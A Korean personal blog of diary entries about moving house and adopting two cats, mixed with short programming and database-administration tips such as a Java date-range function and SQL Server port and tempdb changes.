열심히 W7(Windows 7) VM에 VS 2005를 설치했다.

그리고 재부팅.. SP1이 있는것을 알기에 Windows Update를 실행하고, 업데이트 설치...

600

작업표시줄 하단의 작업관리자 아이콘을 보라. CPU사용률이 알흠답지 아니한가?


몇번을 다시해도 결과는 같다.
설치 실패 화면
설치 실패 이벤트 로그 1
설치 실패 이벤트 로그 2


설치 로그 화일


쩝...
이게 W7이 Beta라서 그런건지...
아님 VM이라서 그런건지...
혹은 VM의 메모리를 넘 적게 할당해서 그런건지 알수가 없다.

머가 문젤까나??


현재 VM 설정 상태.

VM 설정 1
VM 설정 2

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1

  • 박성준 2010.01.26 13:39 신고

    Windows Vista & Windows 7은 아래 서비스팩을 설치하세요...
    도움이 되시길....

    http://www.microsoft.com/downloads/details.aspx?FamilyID=90e2942d-3ad1-4873-a2ee-4acc0aace5b6&displaylang=ko

간만에 스킨 변경

Diary2009.02.12 14:06

간만에 블로그 스킨 변경.
역시나 깔끔한걸로...


회사 옮기고.. 정신 없이 지내고 있음...
점시먹고, 일은 하기 싫고...
뒷자리에 팀장님이 보면 또 머라 할텐데.. ㅋ
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The prompt code on profile file (ex: .profile or .bash_profile):
export PS1='\n\[\033[01;32m\]\# of \! @ `date +'%Y-%m-%d'` `date +'%H:%M:%S'`\[\033[00m\]\n[\u@`hostname`] \w$'


result:
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WIndows 7

Diary2009.01.16 06:19
사용중인 놋북에 Windows 7을 설치했다. SSD를 구매 후 설치하려 했으나.. 자금 압박이;;;
새벽에 잠도 안오고.. 백수로 3주째 놀고 있는 이시점에.. 딱히 할일이 없어서 설치한 것일 지도... -_-

일단 설치 하는 동안은 Windows Vista와 동일(?)하다.
파티션 잡아주고.. 설치할 드라이브 지정하고... 나머진 윈도가 알아서 해준다.

설치후 첫 느낌은 "호~ 이거 괜찮은걸...."
Vista의 경우 몇 몇 드라이버를 수동 설치해야 했으나.
Win 7은 대부분의 드라이버가 자동 설치됬다.
바이러스 백신 설치하라고 경고 뜨고 있고...
시스템 체험 지수는 3.0
x64버전으로 설치 했고... 설치후 디스크 사용량은 11.4GByte.
부팅후 IE 띄워서 글쓰고 있는 현재 메모리 사용량은 897MByte.






P.s: IE8 때문이지.. 티스토리에서 글쓸때 커서 이동이 잘 안됨.
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/**
* 시작일부터 종료일까지 사이의 날짜를 배열에 담아 리턴 ( 시작일과 종료일을 모두 포함한다 )
*
* @param fromDate
* yyyy-MM-dd 형식의 시작일
* @param toDate
* yyyy-MM-dd 형식의 종료일
* @return yyyy-MM-dd 형식의 날짜가 담긴 배열
*/
public String [] getDiffDays(String fromDate, String toDate) {
    try
    {

        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
        Calendar calDiff = Calendar.getInstance();
        calDiff.setTime(sdf.parse(fromDate));

        //두 날자 사이의 일수
        int iDTCnt = (int)((sdf.parse(toDate).getTime() - sdf.parse(fromDate).getTime()) / 1000 / 60 / 60 / 24);

        // 시작일부터
        calDiff.add(Calendar.DATE, -1);

        // 데이터 저장
        ArrayList list = new ArrayList();

        for (int i = 0; i <= iDTCnt; i++) {
            calDiff.add(Calendar.DATE, 1);
            list.add(sdf.format(calDiff.getTime()));
        }

        String[] result = new String[list.size()];

        list.toArray(result);
        //return sdf.parse(fromDate).toString();

        return result;
    }
    catch (Exception ex)
    {
        //return ex.toString();
        return null;
    }
}




from: http://www.okjsp.pe.kr/seq/90151
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MS SQL Server의 TCP 포트의 기본값은 1433번 이다.
아래 쿼리를 이용해 이 포트를 변경할 수 있다.

exec master..xp_regwrite @rootkey= 'HKEY_LOCAL_MACHINE',
                         @key = 'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib\Tcp',
                         @value_name = 'TcpPort',
                         @type = 'REG_SZ',
                         @value = '9999'


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일요일..
간만에 한가한 일요일을 통해 강남에 나왔다.
(사실 한가 하다기 보단 집에만 있기 넘 답답해서 이지만...)

노트북과 다이어리를 가방에 넣고, 강남역 근쳐 커피숖들을 돌아다닌지 한시간...
겨우 자리를 잡을 수 있었다.

커피숖마다 인산인해..
6번 출구와 7번출구를 시작으로 교보타워 까지 13곳이 넘는 커피숖을 다녔는데... 빈자리가 없었다.
콩다방 한곳에서 사람들이 나가기를 기다린지 10여분 만에야 자리를 잡고 앉을 수 있었다.

다들 어렵다고들 하는데...
거리에 차들이 다니는 모습이나... 사람들이 다니는 것을 보면 '지금 경제가 어려운게 맞나?'라는 생각이 들 뿐이다.

나만의 착각인가?
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별이 동생 솔이

Diary2008.12.08 23:40

별이 동생이 생겼다.

아르바이트 하는곳에 미팅하러 오는 길에 건물사이 후미진 곳에 떨어져 울고 있는 녀석을 발견하고 동물병원으로 대려 갔다.
병원에서 전염병이 의심된다고 하였고... 일주일간 관찰 하기로 하였다. 그리고 오늘 다행이 아무 이상없고, 아주 건강하단 진단을 받고 집으로 대려왔다.

그동안 별이 혼자 심심해 하는것이 늘 맘에 걸렸는데... 이젠 둘이 되었으니 조금은 안심 해도 될듯 하다.

IM-S350 | 2008:12:08 22:30:29IM-S350 | 2008:12:08 22:31:00
IM-S350 | 2008:12:08 22:31:26IM-S350 | 2008:12:08 22:31:57

P.s: 별이가 솔이를 많이 경계한다. 시간이 지나면 좀 낳아 지겠지.. 별이를 더 많이 사랑해 줘야 겠다.
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/*
tempdb 데이터베이스 이동
tempdb 데이터베이스의 크기와 물리적인 배치가
시스템의 성능에 영향을 미칠 수 있으므로
tempdb를 확장하거나 이동하는 작업을
수행하는 경우가 종종 발생한다.

다음에 나오는 일련의 작업은 동일한
SQL Server 인스턴스에서 tempdb를
다른 위치로 이동하는 방법을 보여준다.

본 작업은 반드시 서비스가 중지된,
서버 점검 시간에 이루어져야 한다.

화일을 이동하는 위치는
반드시 디스크 드라이브 및 타겟 폴더가 존재해야 한다.
*/
--<<<tempdb를 디스크상의 다른 위치로 이동하기>>>
USE master
GO
--1.tempdb의 논리파일 이름 확인
SELECT name, physical_name, state_desc
  FROM sys.master_files
WHERE database_id = DB_ID(N'tempdb')
GO

--2.ALTER DATABASE 사용하여 파일 위치 변경
ALTER DATABASE tempdb
MODIFY FILE(NAME = tempdev, FILENAME = 'G:\Data\tempdb.mdf')
ALTER DATABASE tempdb
MODIFY FILE(NAME = templog, FILENAME = 'H:\Log\templog.ldf')
GO
--3.SQL Server를 중지하고 다시 시작한다.

--4.SQL Server 서비슥가 시작된것을 확인후, 제대로 이동이 되었는지 확인
SELECT name, physical_name, state_desc
  FROM sys.master_files
WHERE database_id = DB_ID(N'tempdb')
GO
--5.기존 위치에 존재하는 tempdb 파일을 삭제한다.
/*
tempdb는 SQL Server가 재시작할때마다 재생성을 거치므로
기존의 tempdb 파일들을 새로운 위치로 이동할 필요없다.

같은 방법으로 사용자 생성한 Database의 화일들도
이동시킬 수 있으나 사용자가 생성한 Database는
기존화일을 복사하여 새로운 위치에 붙여넣은 후
이동이 끝나면 기존화일을 삭제하여 준다.
*/

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한 동안 잠수 아닌 잠수를 했다.
한동안 자리를 비움으로 인해 발생한 일들과 처리 되지 못한 일들을 정리하며, 그렇게 정신없이 시간을 보냈다.
아직 정리되지 못한 일들이 많이 있고, 또한 새로운 일들도 해나가야 하지만...
이제는 조금씩 여유가 생기기에 또다시 블로깅을 시작한다.

초심으로 돌아가자.
얼마전 부터 생각 하고 있는것이지만 결코 쉽지많은 않은 과제다.
그러나 항상 마음에 새기고 조심하고 또 조심해야 하리라.


p.s) 그동안 블로그 찾아 주신 분들께 감사하고, 이래저래 도움 주신 분들께 감사의 마음을 전합니다.
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20080922

Diary2008.09.22 08:30
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20080912#1

Diary2008.09.12 14:10

별이가 잘 적응하고 있는 거 같다.
어제 퇴근 했더니 밥도 다 먹었고, 나와서 장난도 치고......

한가지 문제라면......
낮에 못 놀아 주니 밤에 잠 안자고 계속 놀자고 보챈다.

내가 먹는 건 먹지도 못하면서 달라고 때 쓰고, 매달리고..
밤새 침대 위에 올라와서 뛰어다니고, 손도 깨물고……

빨리 별이 동생을 입양하던지 해서 외롭지 않게 해줘야겠다.

침대 위에서 별이랑..ㅎㅎ

침대 위에서 별이랑..ㅎㅎ

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  • ㅇㅏ유-
    꼬물꼬물이.. >ㅁ<

    왠만하시면 사람 먹는 음식은 먹이지 마세요~
    아이 건강을 위해서 그게 좋아요. =)
    별이는 베이비캣이나 키튼 사료 먹으면 되겠네요
    저희집 막내가 요새 닭고기에 눈을떠서
    눈에 안 띄게 하느라 고생이예요 ㅠㅠ

  • 답변이 넘 늦었네요.. 죄송 합니다, ^^;

    아직 키튼 사료 먹이구 있구요..
    사람 먹는건 절대 안먹입니다만, 자꾸 사람을 먹으려고 드네요..;;;

20080911#1

Diary2008.09.11 12:58

결국 고양이를 입양했다.
일단 겁을 좀 내는 거 말고는 별다른 이상은 없는듯하다.
수의사분도 건강하다고 말씀 하셨고…… 밥 두 잘 먹고 응가도 잘한다.

다만 자꾸 구석진 곳으로 숨는다.
장난감으로 장난을 좀 쳐주면 몇 시간이고 지칠 줄도 모르고 놀다가도……
내가 먼저 지쳐서 쉬고 있으면, 또 한쪽 구석으로 가서 숨어 있는다.
내가 멀 잘못 한 건지…… 아님 아직 어리고 해서 겁이 많은 건지……

이름은 “별”이라고 지었다.
작명 센스가 제로라 마땅히 생각나는 게 없다.
나이는 생후 약 3개월쯤……

별이 첫 사진 1Anycall SCH-B510 | 1/125sec | F/2.8 | 2008:09:09 22:08:26별이 첫 사진 2Anycall SCH-B510 | 1/125sec | F/2.8 | 2008:09:09 22:11:17
폰카라 화질이 엉망이지만 별이 첫 사진...ㅋ
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  • 눈이 땡글한 노랑둥이군요.
    정말 이쁜 녀석이네요..ㅜㅜ
    아직 처음이고 낯선 곳이라 자꾸 구석에 숨고 그럴거예요.
    적응할 때까지 그냥 내비두세요.ㅎㅎ
    고양이는 원래 낯선 공간에 적응할려면 시간이 좀 필요하거든요.
    그래도 어린 녀석이라 금방 적응할거예요.^^

  • 방문 감사합니다. ^^*

    벌써 어느 정도 적응되었는지..
    오늘 집에 왔더니 나와서 장난을 치기 시작하네요..

    잘 키우겠습니다.

  • 아우 귀여워요 ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
    전체사진이 아니라서 정확히는 모르겠지만,
    3개월은 안된거 같아요.
    2달~2달반 정도?
    아무튼 미치게 귀엽네요!! ㅠㅠㅠㅠ
    저희집도 노랭이가 네녀석이라서 정감가는것이 ㅎㅎ

  • 나이는 수의사분이 그렇다고 해서 그런줄 알아요...;;;

    중요한건 역시나 무지 귀엽다는거.ㅎㅎ

20080909#2

Diary2008.09.09 16:09

새 둥지는 혼자 있기에는 너무 넓기에……
고양이를 입양하려고 한다.

전부터 동물들을 좋아했지만..
부모님과 함께 사는 동안 어머님이 싫어하기에 동물들을 입양 하지는 못했다.
어쩌다가 동물들을 집에 데려가도
한 달도 안되어 다른 집이나 근처 동물병원으로 보내지는 경우가 많았다.

마침 근처 동물병원에 알아보니 생후 3개월쯤 된 고양이를 분양하고 있고,
장난도 잘 치고, 수의사분께 물어 봤더니 건강에 문제도 없다고..
다만 입양 후 파양 하지 않을 자신이 있다면 대려 가도 좋다고……

조금은 두려움도 있다.
‘과연 잘 키울 수 있을까?’ 하는……
혼자 동물을 길러 본적도 없고……
야근도 잦고……

저녁에 동물병원에 가서 다시 한번 물어보고 생각해야겠다.

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  • 고양이가 외로움을 안 탄다고들 하지만,
    너무 방치하면 우울증 와요. ;ㅁ;
    많이 애껴주시길.. ^^
    아, 물론 막상 데리고 오시면 마구 빠져드실겁니다. ㅎㅎㅎ

  • 에.. 결국 대려 왔습니다.
    몸이 달아서 못 견디겠더군요...ㅎㅎ

    보면 볼수록 귑엽고, 사랑스럽습니다.

20080909#1

Diary2008.09.09 13:03

새 둥지를 구했다.
아주 저렴한 가격에 계약을 하고, 어제 짐을 옮겼다.
(사실 짐이랄 것도 없지만...)

아직은 짐도 없고 해서 조금은 썰렁 하지만,
새로운 시작을 하기위한 나만의 공간으로는 부족하지 않다.
저렴한 가격에 좋은곳을 구했기에 기쁨은 더 커진 듯...

조금씩 조금씩 나만의 예쁘고 달콤하며, 편안한 공간으로 바꾸어 가리라.

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  • 저두 곧 이사해야하는데
    아득해요 -_ -..
    좋은 집 구하면 몇년이고 살텐데..
    매년 이사해야하니 원..

    • ㅎㅎ
      저도 집 구할려고 여기 저기 알아보고 했는데...
      처음에는 좀 많이 막막 하더라고요...

      그런데.. 정말 딱 좋은 조건에 집이 딱 마춰 나타나더라고요...
      원래 계시던분도 고마워 하시고.. 저도 고맙고...ㅎㅎ

      애플님두 잘 해결될꺼에여...

      참... 방문 감사합니다. 애플님 불로그는 맨날 눈팅만 하면서 잘 보구 있습니다.ㅎㅎ

20080901#1

Diary2008.09.01 22:24

물은 많은데...
마실 물은 없구나.

새로운 시작을 하기 위해 신경 써야 할 일들이 너무 많다.
아니 문제는 다른데 있다는 것이 맞을지도……

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